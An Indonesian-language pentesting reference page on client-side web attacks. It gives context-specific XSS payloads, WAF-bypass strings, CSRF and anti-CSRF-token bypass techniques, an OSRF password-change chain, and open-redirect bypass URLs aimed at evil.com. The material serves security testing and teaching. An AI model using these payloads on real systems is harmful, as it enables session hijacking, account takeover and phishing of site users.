6
Kerentanan Sisi Klien dan Pengalihan URL
Empat catatan pada halaman ini bekerja di sisi klien: Cross Site Scripting, Cross Site Request Forgery, On Site Request Forgery, dan Open Redirect. Tidak satu pun menembus autentikasi. Penyerang hanya menitipkan muatan pada response, pada parameter URL, atau pada request yang dikirim browser korban, lalu menunggu korban membuka halaman yang salah. Catatan XSS membagi serangan menurut konteks eksekusi Cross Site Scripting.md:4-131, sedangkan CSRF dan OSRF dibedakan oleh asal request Cross Site Request Forgery.md:42. Siklus cookie dan atribut sesi yang dipakai ketiganya dibahas di Otentikasi, Sesi, dan Token.
Tiga jenis XSS dan konteks eksekusinya
Reflected XSS menjalankan script dari situs lain melalui browser korban. Stored XSS menyimpan script secara permanen di server target. DOM-Based XSS menaruh payload di DOM, bukan di kode HTML. Cross Site Scripting.md:4-131
Karena itu XSS dapat muncul di semua fitur aplikasi. Khusus DOM-Based XSS, membaca kode sumber JavaScript adalah cara menemukannya, sebab payload tidak pernah singgah di HTML yang dikirim server. Cross Site Scripting.md:15-163
graph TD
IN["Input user direfleksikan di response"] --> CTX{"Konteks tempat input jatuh"}
CTX --> C1["value attribute tag input"]
CTX --> C2["HTML comment"]
CTX --> C3["antara opening dan closing tag"]
CTX --> C4["di dalam tag script"]
CTX --> C5["template literal backtick"]
C1 --> E1["tutup attribute dengan kutip"]
C2 --> E2["tutup komentar HTML"]
C3 --> E3["tutup tag lalu sisipkan tag baru"]
C4 --> E4["tutup tag script atau escape string"]
C5 --> E5["interpolasi template literal"]
E1 --> F["filter kutip, backslash, atau kurung sudut"]
E2 --> F
E3 --> F
E4 --> F
E5 --> F
F --> W["payload khusus WAF"]
style IN fill:#8b5cf6,color:#fff
style CTX fill:#f59e0b,color:#000
style E1 fill:#2d7d46,color:#fff
style E2 fill:#2d7d46,color:#fff
style E3 fill:#2d7d46,color:#fff
style E4 fill:#2d7d46,color:#fff
style E5 fill:#2d7d46,color:#fff
style F fill:#f59e0b,color:#000
style W fill:#dc2626,color:#fff
%% fig: Peta konteks refleksi XSS
%% desc: Konteks tempat input jatuh menentukan teknik penutupan, lalu filter yang tersisa menentukan payload WAF yang dipakai.Peta konteks refleksi dan teknik escape
Payload dasar dipakai ketika input jatuh di body response tanpa pembatas: <script>alert(1)</script>, <svg/onload=alert(1)>, dan <img src=x onerror=alert(1)>. Cross Site Scripting.md:19-244 Begitu input masuk ke dalam struktur HTML atau JavaScript, payload harus menutup konteksnya lebih dulu.
| Konteks tempat input jatuh | Bentuk di halaman | Payload | Rujukan |
|---|---|---|---|
value attribute tag input | <input id="keyword" type="text" name="q" value="REFLECTED_HERE"> | "><script>alert(1)</script> | Cross Site Scripting.md:26-405 |
| HTML comment | <!-- REFLECTED_HERE --> | --><script>alert(1)</script> | Cross Site Scripting.md:42-556 |
| Di antara opening dan closing tag | <a href="https://target.com/1?status=REFLECTED_HERE">1</a> | </tag><script>alert(1)</script> | Cross Site Scripting.md:57-727 |
value attribute saat > difilter | <input id="keyword" type="text" name="q" value="REFLECTED_HERE"> | " onmouseover=alert(1) dan " autofocus onfocus=alert(1) | Cross Site Scripting.md:74-888 |
Di dalam tag script | var sitekey = 'REFLECTED_HERE'; | </script><script>alert(1)</script> | Cross Site Scripting.md:90-1079 |
String di dalam blok script | var sitekey = 'REFLECTED_HERE'; | '-alert(1)-' dan '/alert(1)// | Cross Site Scripting.md:110-12810 |
| String yang kutipnya di-escape backslash | var sitekey = '\'-alert(1)-\''; | \'alert(1)// | Cross Site Scripting.md:130-15511 |
| Multi reflection pada satu baris JS | var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE'; | /alert(1)//\ | Cross Site Scripting.md:157-17512 |
String di dalam blok logika seperti if | if (time < 10) { test = 'REFLECTED_HERE'; } | '}alert(1);{' | Cross Site Scripting.md:177-20213 |
| Template literal dengan pembatas backtick | nilai sitekey dibungkus backtick berisi REFLECTED_HERE | ${alert(1)} | Cross Site Scripting.md:207-22414 |
Vektor XSS di luar body HTML
Nama berkas unggahan yang terefleksi di halaman target dapat membawa payload, misalnya "><svg onload=alert(1)>.jpeg. Cross Site Scripting.md:266-26915 Metadata berkas juga bisa dipakai lewat exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg. Cross Site Scripting.md:271-27416
- Berkas SVG berisi
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>dieksekusi saat dibuka. Cross Site Scripting.md:276-27917 - Markdown yang memuat
[Click Me](javascript:alert('1'))menjadi jalan masuk lain. Cross Site Scripting.md:281-28418 - Halaman XML menerima
<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>. Cross Site Scripting.md:286-29219
⚠️ Penutup berbeda dibutuhkan sesuai blok. Tambahkan
-->bila input mendarat di komentar, dan]]>bila mendarat di CDATA; tanpa keduanya payload tidak keluar dari bloknya. Cross Site Scripting.md:286-29219
Bypass filter dan WAF
Filter yang memeriksa kata kunci tunggal dapat dilewati dengan mengubah bentuk payload:
- Kapitalisasi campuran dan tag tidak tertutup:
<Script>alert(document.cookie)</Script>,<svg onload="alert(1)",<SVG ONLOAD=ALERT(1)>. Cross Site Scripting.md:294-30820 - Encoding berlapis: satu kali, dua kali, dan tiga kali percent-encoding sebelum kurung sudut. Cross Site Scripting.md:310-32021
- Huruf
İuntuk input yang di-lowercase:<SCRİPT>alert(1)</SCRİPT>. Cross Site Scripting.md:322-32522 - Validasi email di PHP:
<svg/onload=alert(1)>"@gmail.com. Cross Site Scripting.md:327-33023 - Validasi URL di PHP:
javascript://%250Aalert(1). Cross Site Scripting.md:332-33524 - Blok komentar:
<!--><svg onload=alert(1)-->. Cross Site Scripting.md:337-34025
Catatan XSS menyediakan payload khusus untuk tujuh WAF: Cloudflare, Cloudfront, Cloudbric, Comodo WAF, ModSecurity, Imperva, dan AWS. Cross Site Scripting.md:342-44826
| WAF | Contoh payload | Rujukan |
|---|---|---|
| Cloudflare | <svg/onrandom=random onload=confirm(1)> dan Function("\x61\x6c\x65\x72\x74\x28\x31\x29")(); | Cross Site Scripting.md:342-39027 |
| Cloudfront | "><--<img+src= "><svg/onload+alert(document.domain)>> --!> | Cross Site Scripting.md:392-39928 |
| Cloudbric | <a69/onclick=[1].findIndex(alert)>pew | Cross Site Scripting.md:401-40429 |
| Comodo WAF | <p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme | Cross Site Scripting.md:406-41130 |
| ModSecurity | <a href="jav%0Dascript:alert(1)"> | Cross Site Scripting.md:413-41631 |
| Imperva | <x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme | Cross Site Scripting.md:418-44132 |
| AWS | payload memakai eval atas hasil atob dan decodeURIComponent | Cross Site Scripting.md:443-44633 |
Bypass kontrol yang tidak spesifik XSS, misalnya 403, 429, dan captcha, dibahas di Teknik Bypass Kontrol.
CSRF: request yang membawa cookie korban
CSRF memaksa user akhir mengeksekusi aksi yang tidak diinginkan pada aplikasi web tempat ia sedang terautentikasi. Cross Site Request Forgery.md:42 Titik temu utamanya adalah form: kirim form lalu periksa request HTTP, dan bila request itu tidak membawa CSRF token, form besar kemungkinan rentan. Cross Site Request Forgery.md:734
| Instrumen | Bentuk di halaman penyerang | Rujukan |
|---|---|---|
| HTML GET | <a href="http://www.example.com/api/setusername?username=uname">Click Me</a> | Cross Site Request Forgery.md:12-1435 |
| HTML POST | form enctype="text/plain" method="POST" dengan input hidden username | Cross Site Request Forgery.md:16-2336 |
| JSON GET | XMLHttpRequest membuka http://www.example.com/api/currentuser lalu xhr.send() | Cross Site Request Forgery.md:25-3237 |
| JSON POST | Content-Type: application/json;charset=UTF-8 dengan body {"role":admin} | Cross Site Request Forgery.md:34-4338 |
| Multipart | boundary manual dirangkai sebagai string, lalu dikirim sebagai new Blob([aBody]) | Cross Site Request Forgery.md:45-9539 |
Penanda paling menentukan adalah xhr.withCredentials = true; tanpa baris itu browser tidak menyertakan cookie pada request lintas origin. Cross Site Request Forgery.md:3940 Dampak lanjutan berupa pengambilalihan akun dirangkum di Serangan Miscellaneous dan Business Logic.
Melewati token anti-CSRF
Walaupun form sudah memasang CSRF token, token masih bisa dilewati dengan beberapa cara. Cross Site Request Forgery.md:97-9841
| Teknik | Perubahan pada request | Rujukan |
|---|---|---|
| Ubah satu karakter token | dari token=aaaaaaaaaaaaaaaaaaaaaa menjadi token=aaaaaaaaaaaaaaaaaaaaab | Cross Site Request Forgery.md:100-11542 |
| Kirim token kosong | token= tanpa nilai | Cross Site Request Forgery.md:117-13243 |
| Ganti token dengan panjang sama | dari aaaaaa menjadi aaabaa | Cross Site Request Forgery.md:134-14944 |
| Ubah metode POST menjadi GET | parameter dipindah ke query string GET /register?...&token=... | Cross Site Request Forgery.md:150-16345 |
| Hapus token dari request | body hanya berisi username dan password | Cross Site Request Forgery.md:165-18046 |
| Pakai token valid milik user lain | nilai diganti ANOTHER_VALID_TOKEN | Cross Site Request Forgery.md:182-18947 |
| Dekripsi hash token | MTIzNDU2 adalah 123456 dalam base64 | Cross Site Request Forgery.md:191-19948 |
| Kirim hanya bagian statis token | token vi802jg9f8akd9j123 dan vi802jg9f8akd9j124 berbagi prefiks vi802jg9f8akd9j | Cross Site Request Forgery.md:201-21749 |
⚠️ Token yang ada tidak otomatis berarti aman. Setiap baris di atas adalah hipotesis yang harus diuji satu per satu terhadap endpoint yang sama. Cross Site Request Forgery.md:97-9841
OSRF: request yang lahir dari origin target
Pada OSRF korban juga dipaksa mengeksekusi aksi, tetapi asal request berbeda: CSRF mengirim request dari domain milik penyerang, sedangkan OSRF membuat request lahir dari aplikasi yang rentan sendiri sehingga penyerang hanya mengendalikan tujuan request itu. On Site Request Forgery.md:450
Ada dua hal yang dicari saat menyisir aplikasi:
- Input yang terefleksi pada atribut
src, misalnya<img src="OUR_INPUT_HERE">,<video ... src="OUR_INPUT_HERE">,<audio src="OUR_INPUT_HERE">, dan<iframe src="OUR_INPUT_HERE">. On Site Request Forgery.md:8-1551 - Endpoint sensitif yang memakai metode GET, misalnya
GET /settings.php?remove_account=1. On Site Request Forgery.md:16-2352
Alur eksploitasinya bertumpu pada dua fitur. Endpoint GET /change_password.php?new_password=Testing123 mengubah password hanya lewat satu request GET. On Site Request Forgery.md:26-3353 Di sisi lain, fitur unggah foto profil menerima multipart POST /settings.php dengan filename yang bisa dikendalikan. On Site Request Forgery.md:37-5454 Nilai itu lalu muncul kembali pada atribut src di halaman profil publik. On Site Request Forgery.md:55-6355 Dengan mengganti testingimage.jpg menjadi change_password.php?new_password=Testing123, setiap pengunjung profil mengirim request ganti password, dan password mereka otomatis berubah. On Site Request Forgery.md:65-7556
⚠️ Korban tidak perlu mengklik apa pun. Membuka halaman profil sudah cukup untuk memicu request, sehingga tidak ada form atau tombol yang bisa dijadikan pengaman. On Site Request Forgery.md:65-7556
Siklus forgery: CSRF dan OSRF
sequenceDiagram
autonumber
participant V as Korban
participant A as Situs penyerang
participant T as Server target
Note over V,A: CSRF - request berasal dari domain penyerang
V->>A: membuka halaman PoC
A-->>V: form GET atau POST tanpa token
V->>T: request otomatis membawa cookie sesi korban
T-->>V: aksi dijalankan atas nama korban
Note over V,T: OSRF - request berasal dari aplikasi target
V->>T: membuka profil dengan nilai src yang dikendalikan
T-->>V: HTML berisi src menuju endpoint GET sensitif
V->>T: browser memuat src dari origin target
T-->>V: aksi sensitif dijalankan
%% fig: Siklus request CSRF dan OSRF
%% desc: CSRF mengirim request dari domain penyerang, sedangkan OSRF memakai aplikasi target sendiri sebagai pengirim request.Open Redirect dan variasi bypass-nya
Open redirect muncul ketika aplikasi memasukkan data yang bisa dikendalikan user ke target redirection secara tidak aman, sehingga penyerang dapat menyusun URL di dalam aplikasi yang mengarah ke domain eksternal sembarang. Open Redirect.md:457 Catatan menyarankan memeriksa halaman login, register, dan logout, serta kode sumber JavaScript. Open Redirect.md:7-858
| Teknik | Contoh URL | Rujukan |
|---|---|---|
| Ganti domain langsung | /?redir=evil.com | Open Redirect.md:11-1459 |
| Domain whitelist sebagai awalan | /?redir=target.com.evil.com | Open Redirect.md:16-1960 |
// untuk melewati blacklist http | /?redir=//evil.com | Open Redirect.md:21-2461 |
https: untuk melewati blacklist // | /?redir=https:evil.com | Open Redirect.md:26-2962 |
\\ untuk melewati blacklist // | /?redir=\\evil.com | Open Redirect.md:31-3463 |
\/\/ untuk melewati blacklist // | /?redir=\/\/evil.com/ dan /?redir=/\/evil.com/ | Open Redirect.md:36-4064 |
%E3%80%82 untuk melewati blacklist . | /?redir=evil%E3%80%82com | Open Redirect.md:42-4665 |
Null byte %00 | /?redir=//evil%00.com | Open Redirect.md:48-5166 |
| Parameter pollution | /?next=target.com&next=evil.com | Open Redirect.md:53-5667 |
@ atau %40 | /[email protected] | Open Redirect.md:58-6268 |
| Folder diperlakukan sebagai domain | http://www.yoursite.com/folder/www.folder.com | Open Redirect.md:64-6869 |
? ditafsirkan browser menjadi /? | /?redir=target.com?evil.com | Open Redirect.md:70-7370 |
%23 saat filter hanya memeriksa nama domain | /?redir=target.com%23evil.com | Open Redirect.md:75-7871 |
| Host/Split Unicode Normalization | https://evil.c℀.example.com | Open Redirect.md:80-8372 |
| Parsing karakter enclosed | http://ⓔⓥⓘⓛ.ⓒⓞⓜ | Open Redirect.md:85-8873 |
Simbol ° | /?redir=target.com/°evil.com | Open Redirect.md:90-9374 |
Null byte %0d atau %0a saat hanya path yang dikendalikan | /?redir=/%0d/evil.com | Open Redirect.md:95-9875 |
⚠️ Bila parameter redirect muncul lebih dari sekali, server bisa memakai nilai pertama sementara browser memakai nilai lain. Uji urutan
next=target.com&next=evil.comsebelum menyimpulkan parameter aman. Open Redirect.md:53-5667
Rantai open redirect
Daftar itu ditutup dengan dua rujukan: laporan HackerOne #1250758 dan tulisan yang merangkai open redirect dengan rXSS. Open Redirect.md:100-10276
sequenceDiagram
autonumber
participant V as Korban
participant T as Server target
participant E as Domain eksternal
V->>T: membuka /?redir=evil.com
T-->>V: response redirect ke target eksternal
V->>E: browser memuat halaman penyerang
E-->>V: halaman tiruan atau muatan rXSS
rect rgb(220,38,38)
Note over V,E: Kredensial korban berpindah ke domain penyerang
end
%% fig: Rantai open redirect
%% desc: Parameter redir yang tidak divalidasi memindahkan korban dari origin target ke domain yang dikendalikan penyerang.Rantai menjadi berbahaya ketika redirect dipakai sebagai pembuka dan refleksi dipakai sebagai eksekutor: rujukan kedua secara eksplisit merangkai open redirect dengan rXSS. Open Redirect.md:100-10276 Sebelum menyimpulkan sebuah parameter aman, uji tiap varian di tabel dengan nilai yang berbeda, lalu periksa apakah nilai itu masih muncul di header Location.